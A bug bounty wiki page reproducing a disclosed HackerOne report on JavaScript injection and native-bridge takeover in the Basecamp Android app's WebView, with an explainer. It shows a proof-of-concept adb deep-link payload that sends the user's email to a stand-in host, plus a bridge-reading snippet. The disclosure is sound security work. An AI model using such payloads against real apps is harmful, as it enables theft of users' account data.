Skip to content
XSS Disclosed report Intermediate

com.basecamp.bc3 Webview Javascript Injection and JS bridge takeover

The Basecamp Android app loads URLs in a WebView without properly sanitising them, and because JavaScript is enabled and native JavaScript bridges are exposed, an attacker can inject arbitrary JavaScript. That injected code can call the exposed bridge to read account details such as the user's email and bucket name, and exfiltrate them to an attacker-controlled server.

fr4via Follow

Originally disclosed on HackerOne

High 7.7 View original
  • Triaged in 20 days
  • Fixed in 12 months
  • Paid in 20 days
  • Disclosed after 12 months

It was identified that the android com.basecamp.bc3 application, contains a Webview where the loaded URLs are not sanitised properly. As this webview's functionality is extended via javascript interfaces and has the javascript enabled it is possible to inject arbitrary javascript code which will be executed by the application's webview and provide access to the java native code via the class a.a.a.s.g ( which is exposed via the NativeApp).

##JS Bridge

The following JS Bridges are exposed:

###nativeBridge

Screenshot_2021-09-18_at_1.00.48_PM.png
Screenshot_2021-09-18_at_1.00.48_PM.png From the original on HackerOne

###NativeApp

Screenshot_2021-09-18_at_1.02.09_PM.png
Screenshot_2021-09-18_at_1.02.09_PM.png From the original on HackerOne

###TurboNative

Screenshot_2021-09-18_at_1.02.54_PM.png
Screenshot_2021-09-18_at_1.02.54_PM.png From the original on HackerOne

##Steps to Reproduce

  1. Create a valid basecamp account
  2. Create a project
Screenshot_2021-09-18_at_1.09.14_PM.png
Screenshot_2021-09-18_at_1.09.14_PM.png From the original on HackerOne
  1. Open any Sub-project tab (e.g. Message Board - it is needed only ONE time in order to initialise the JS interface )

Run the following command after replacing the XXXXX with the user id

Example:

Screenshot_2021-09-18_at_1.25.20_PM.png
Screenshot_2021-09-18_at_1.25.20_PM.png From the original on HackerOne

Command:

$adb shell am start -W -a android.intent.action.VIEW -d 'https://3.basecamp.com/XXXXX/p","advance","---"); /* comment */ window.location.replace("https://example.com?exfiltration="+nativeBridge.getPage().accountName); //'

Observer the HTTP requests of the app:

GET /[email protected] HTTP/2
Host: example.com
....

Impact

Confidentiality, Integrity and availability are all affected from the specific vulnerability as the javascript code can be injected to an already loaded url while additional functionality is added via the exposed javascript interfaces:

###Javascript Injection:

Screenshot_2021-09-18_at_1.43.25_PM.png
Screenshot_2021-09-18_at_1.43.25_PM.png From the original on HackerOne

###Bridge Access

"Bucket Name:"+nativeBridge.getPage().bucketName + "Title: " + nativeBridge.getPage().title + "User email:" +nativeBridge.getPage().accountName);

Screenshot_2021-09-18_at_1.48.59_PM.png
Screenshot_2021-09-18_at_1.48.59_PM.png From the original on HackerOne

Cookie exfiltration:

Screenshot_2021-09-18_at_2.10.50_PM.png
Screenshot_2021-09-18_at_2.10.50_PM.png From the original on HackerOne

Attachments

Screenshot_2021-09-18_at_1.43.11_PM.png
Screenshot_2021-09-18_at_1.43.11_PM.png From the original on HackerOne

The original report as published on HackerOne, by fr4via. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the app passed an externally supplied URL into a JavaScript-enabled WebView without validating it, while exposing native JavaScript interfaces to any page loaded there.

Impact

An attacker could inject JavaScript into the WebView and use the exposed bridge to read account details such as the user's email and bucket name, and exfiltrate them, affecting confidentiality, integrity and availability.

What the attacker needed

A valid Basecamp account; victim opens a crafted deep link; sub-project tab opened once first

How it was found

  1. Create a valid Basecamp account and a project.
  2. Open a sub-project tab once so the JavaScript interface is initialised.
  3. Run an adb command that launches the app with a crafted deep link containing injected JavaScript.
  4. Observe the app's HTTP requests to the attacker's server carrying the exfiltrated data.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A WebView is a mini browser built into an app. This app let a crafted link run extra JavaScript inside that browser, and the app also gave that JavaScript a direct line to native app functions (a 'bridge'). So a malicious link could read private account information and send it to someone else.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by fr4via

View all

15 more disclosed reports, best first.

More from Basecamp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.